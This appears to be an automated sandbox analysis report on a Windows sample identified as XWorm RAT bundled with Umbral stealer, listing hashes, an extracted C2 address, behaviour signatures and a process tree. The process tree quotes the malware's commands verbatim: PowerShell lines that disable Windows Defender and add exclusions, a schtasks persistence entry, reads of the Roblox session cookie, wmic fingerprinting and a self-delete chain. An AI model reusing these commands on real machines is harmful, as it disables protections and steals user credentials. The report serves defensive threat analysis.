Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-09-2024 21:26

General

  • Target

    066692a03f240a40c237f5ec3270d27cac1fda40630dd29f40db006b79a542a8.exe

  • Size

    1.1MB

  • MD5

    6d63fe8c87e642d9e380a13803aa6858

  • SHA1

    5652877b527da6cec16dfa7e9653d3657fedea8b

  • SHA256

    066692a03f240a40c237f5ec3270d27cac1fda40630dd29f40db006b79a542a8

  • SHA512

    32ad077db3f44cd184f60a715464a0540615fee76cbb4de20c6a2703b1ef2a74391adfad0e77a4c3b2340f9bafbc18238445f19e7fcebf2c11e76e66376d000d

  • SSDEEP

    24576:Ucvup1OydVxYPtGU8ynaQpLUcgs5JTqzCZxGcQVyULZ6U6/:U/1OydfMrgsfX04KZ69/

Malware Config

Extracted

Family

xworm

C2

expected-schema.gl.at.ply.gg:2980

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    USB.exe

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\066692a03f240a40c237f5ec3270d27cac1fda40630dd29f40db006b79a542a8.exe
    "C:\Users\Admin\AppData\Local\Temp\066692a03f240a40c237f5ec3270d27cac1fda40630dd29f40db006b79a542a8.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2516
    • C:\Users\Admin\RuntimeBroker.exe
      "C:\Users\Admin\RuntimeBroker.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2500
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4464
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2988
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\AppData\Local\RuntimeBroker"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4416
    • C:\Users\Admin\RustAntich1eat.exe
      "C:\Users\Admin\RustAntich1eat.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4008
    • C:\Users\Admin\Umbral.exe
      "C:\Users\Admin\Umbral.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2816
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\Umbral.exe"
        3⤵
        • Views/modifies file attributes
        PID:4876
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Umbral.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2952
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2332
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1636
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4700
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2480
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:396
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1764
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1184
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Umbral.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:2160
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:5088
      • C:\Users\Admin\AppData\Local\RuntimeBroker
        C:\Users\Admin\AppData\Local\RuntimeBroker
        1⤵
        • Executes dropped EXE
        PID:1056
      • C:\Users\Admin\AppData\Local\RuntimeBroker
        C:\Users\Admin\AppData\Local\RuntimeBroker
        1⤵
        • Executes dropped EXE
        PID:1764

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RuntimeBroker.log

        Filesize

        654B

        MD5

        2ff39f6c7249774be85fd60a8f9a245e

        SHA1

        684ff36b31aedc1e587c8496c02722c6698c1c4e

        SHA256

        e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

        SHA512

        1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        d28a889fd956d5cb3accfbaf1143eb6f

        SHA1

        157ba54b365341f8ff06707d996b3635da8446f7

        SHA256

        21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

        SHA512

        0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        1aefe566d0c19c9e3ddaf9ea005f71c0

        SHA1

        8d8cfb0d2192706100eb241f38a32b31f03329f1

        SHA256

        dc85b671f8ebac6cfa68897b1826019925c95a5ec36676fe18ba0085f437905a

        SHA512

        f22782b33f7990a0783154fbe6d49e03f16c873a3b4c91f1fc5ed76d0e7b88f0df876ccdf007828ba4d9a5f97cb2362f922cbacad03de5804bc8abeb36cb2d09

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        276798eeb29a49dc6e199768bc9c2e71

        SHA1

        5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

        SHA256

        cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

        SHA512

        0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        df90d53775b01ed0875c81dca33a0c35

        SHA1

        c48dedb031902c3b73bd0f65c3a20d30ef02042a

        SHA256

        af239bf9ef4f2ad19422b5ee77faa2465d9a79aaabaa19557ff08123c0357227

        SHA512

        68d88f8c93e42f3c7b600da67d676e46289aab0601604856d6e97bd120bffbdbfea3ac56d009c5fcbd42cc466bf1c1d3895f57876adc9e24ce440b554db8c7d6

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        470a31aac9cf705179e47a32ce51f121

        SHA1

        757fc377e0198cae813c99f4d63e29d2a82ec1ec

        SHA256

        cf69cc666c1919e86261080d13dedb0301387c99f3360b674e211bce4071c80c

        SHA512

        5e667ce8238d0c2b6453b3f34757083cda67834c121ac5726e13bcd7689add07d410b67f5227bb9f9e79f6540e8579ff82e95323243905f825c9d7cf8a05cc1b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        7ce292bb581460978c5b6a6b6c02ea99

        SHA1

        261d81777c16ad7a104052a3b9d719c26f55ba38

        SHA256

        e7fcfed5376d00e784f09167de08f1559ae2ffc5a3b3e49c10af538153d7f806

        SHA512

        af498881c99b46d2a0c6b42d6c96fcc405f220189843d9a4bf0cad6fcdcab29c330322041c96571fb4119fd548f0daaf2e06eabdcc844ab4f645022571116fff

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        47605a4dda32c9dff09a9ca441417339

        SHA1

        4f68c895c35b0dc36257fc8251e70b968c560b62

        SHA256

        e6254c2bc9846a76a4567ab91b6eae76e937307ff9301b65d577ffe6e15fe40a

        SHA512

        b6823b6e794a2fe3e4c4ecfb3f0d61a54821de7feb4f9e3e7fd463e7fbb5e6848f59865b487dafebeac431e4f4db81ef56836d94cac67da39852c566ed34a885

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uyreghad.dld.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\RuntimeBroker.exe

        Filesize

        84KB

        MD5

        98ccb6806d126e3a211b963d3341efd7

        SHA1

        108dfe1979c04c588f87d6fc2bb57c3ac10f6742

        SHA256

        11f00d48ecd890e9b8658c652a6283ead05dea9bcd641d89d0bd7f0f618f3cd2

        SHA512

        373caadac1ad290d60ea41663482946889ae9e0fea96115e21ba38d19d2bf6123c47501190c3fb33ef51aa07f6dbddc4eab43b82cbc008c4f83684707e1d3510

      • C:\Users\Admin\RustAntich1eat.exe

        Filesize

        827KB

        MD5

        eefb801774c5ccb44153268a9357f5f1

        SHA1

        b1906b22e14edd142c52808ab3e5ba9346b85de5

        SHA256

        677aeb1981c58cba41a5d53ccbbf5b471e62dc49dc326570767da940560d840d

        SHA512

        1cf162fe6184d68dca514059d2de1123e80d0faac401765a54224aa5a987c9454bc92263fbec566835aa7b402f1f63ba59bb425ccc139e0a7391e66991f270b7

      • C:\Users\Admin\Umbral.exe

        Filesize

        230KB

        MD5

        4647720ef8607199527cb3b0bc793587

        SHA1

        0728b0cc0fc7e0a1a8ed14c0861f8757780e4163

        SHA256

        349bfc065bf0580379be8c6e0d0dca592deec1bfc104d8d28c70454436de6337

        SHA512

        906baf94232c9f76d193021345259d01e23d81b3d9a948067035979235fd45e739e89b8047148f61d2f210c40e561067a040100ccacebbf8921050f12a0281f8

      • memory/2044-92-0x0000020284410000-0x0000020284450000-memory.dmp

        Filesize

        256KB

      • memory/2044-163-0x000002029ED10000-0x000002029ED22000-memory.dmp

        Filesize

        72KB

      • memory/2044-225-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

        Filesize

        10.8MB

      • memory/2044-124-0x000002029EB40000-0x000002029EBB6000-memory.dmp

        Filesize

        472KB

      • memory/2044-125-0x000002029EBC0000-0x000002029EC10000-memory.dmp

        Filesize

        320KB

      • memory/2044-126-0x000002029EAC0000-0x000002029EADE000-memory.dmp

        Filesize

        120KB

      • memory/2044-93-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

        Filesize

        10.8MB

      • memory/2044-162-0x000002029EB00000-0x000002029EB0A000-memory.dmp

        Filesize

        40KB

      • memory/2500-58-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

        Filesize

        10.8MB

      • memory/2500-57-0x0000000000220000-0x000000000023C000-memory.dmp

        Filesize

        112KB

      • memory/2500-229-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

        Filesize

        10.8MB

      • memory/2516-0-0x00007FFE70903000-0x00007FFE70905000-memory.dmp

        Filesize

        8KB

      • memory/2516-1-0x00000000006C0000-0x00000000007E6000-memory.dmp

        Filesize

        1.1MB

      • memory/2952-98-0x000001B4FF7D0000-0x000001B4FF7F2000-memory.dmp

        Filesize

        136KB

      • memory/4008-94-0x0000000000A60000-0x0000000000B36000-memory.dmp

        Filesize

        856KB

      • memory/4008-96-0x00000000091F0000-0x0000000009228000-memory.dmp

        Filesize

        224KB

      • memory/4008-97-0x00000000091B0000-0x00000000091BE000-memory.dmp

        Filesize

        56KB